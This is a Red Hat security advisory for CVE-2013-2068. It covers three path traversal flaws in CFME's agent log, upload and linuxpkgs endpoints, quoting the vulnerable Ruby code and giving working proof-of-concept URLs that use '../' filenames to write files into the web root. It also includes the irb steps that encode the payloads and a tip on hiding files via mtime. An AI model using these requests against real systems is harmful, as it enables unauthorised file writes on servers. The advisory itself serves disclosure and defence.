CVE-2013-2068: Path Traversal

Ramon de C Valle (rcvalle) reports:

Multiple path traversal exist within the

1) log method of AgentController controller of CFME. The log method can be accessed directly at http://host/agent/log.

The log method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data.

In vmdb/app/controllers/agentcontroller.rb:56:

data = MIQEncode.decode(params["data"]) file = File.join(proxy.logdir, params["filename"]) options = params["options"] $log.info "MIQ(agent-log): [#{options.inspect}]" unless params["options"].nil?

File.delete(file) if File.exists?(file) $log.info "MIQ(agent-log): Create file: #{file}" File.open(file, "wb") {|f| f.write(data)}

This vulnerability can be exploited by sending a specially crafted request containing a valid host guid that has at least one associated proxy. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory.

https://host/agent/log?&id=8dfc29fe-a118-11e2-805c-005056920a2c&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw==

Where id is a valid host guid that has at least one associated proxy, and data is encoded as follows:

[rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m') => "eJwrKM9LTQEABokCHw==\n" irb(main):003:0>

Additionaly, the file modification time can also be specified with the user-supplied mtime parameter which is set by the log method after the file is created. This could be used for hiding the file from searches for newly created files.

2) upload method of AgentController controller of CFME. The upload method can be accessed directly at http://host/agent/upload.

The upload method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data.

In vmdb/app/controllers/agentcontroller.rb:102:

file = File.join(mediadir, params["filename"]) md5 = Digest::MD5.hexdigest(data).tos raise "upoload of file #{file} failed, md5 mismatch, expected #{params["md5"]}, got #{md5}" if params["md5"] != md5

$log.info "MIQ(agent-upload): Saving agent file: #{file}" File.delete(file) if File.exists?(file) $log.info "MIQ(agent-upload): Create file: #{file}" File.open(file, "wb") {|f| f.write(data); f.close}

This vulnerability can be exploited by sending a specially crafted request containing a valid platform in the first 4 bytes of the data parameter, the MD5 checksum of the data parameter, and any numeric value as the agent version. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory.

https://host/agent/upload?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJyrd/VxKyjPS00BABDkA3U=&md5=b131830a18266f83111d9149adb6451d&version=1

Where data is encoded as follows:

[rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate("\x7f\x45\x4c\x46pwned")].pack('m') => "eJyrd/VxKyjPS00BABDkA3U=\n"

And md5 as follows:

irb(main):003:0> require 'digest/md5' => true irb(main):004:0> Digest::MD5.hexdigest("\x7f\x45\x4c\x46pwned") => "b131830a18266f83111d9149adb6451d"

3) linuxpkgs method of AgentController controller of CFME. The log method can be accessed directly at http://host/agent/linuxpkgs.

The linuxpkgs method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data.

In vmdb/app/controllers/agentcontroller.rb:119:

filename = params["filename"] datadir = File.join(File.expandpath(Rails.root), "data", "applications") Dir.mkdir datadir unless File.exists?(datadir)

file = File.join(datadir, filename) data = MIQEncode.decode(params["data"]) md5 = Digest::MD5.hexdigest(data).tos

raise "upoload of file #{file} failed, md5 mismatch, expected #{params["md5"]}, got #{md5}" if params["md5"] != md5

File.delete(file) if File.exists?(file) $log.info "MIQ(agent-upload): Create file: #{file}" File.open(file, "wb") {|f| f.write(data); f.close}

This vulnerability can be exploited by sending a specially crafted request containing the MD5 checksum of the data parameter. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory.

https://host/agent/linuxpkgs?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw==&md5=5e93de3efa544e85dcd6311732d28f95

Where data is encoded as follows:

[rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m') => "eJwrKM9LTQEABokCHw==\n"

And md5 as follows:

irb(main):003:0> require 'digest/md5' => true irb(main):004:0> Digest::MD5.hexdigest('pwned') => "5e93de3efa544e85dcd6311732d28f95"

— Red Hat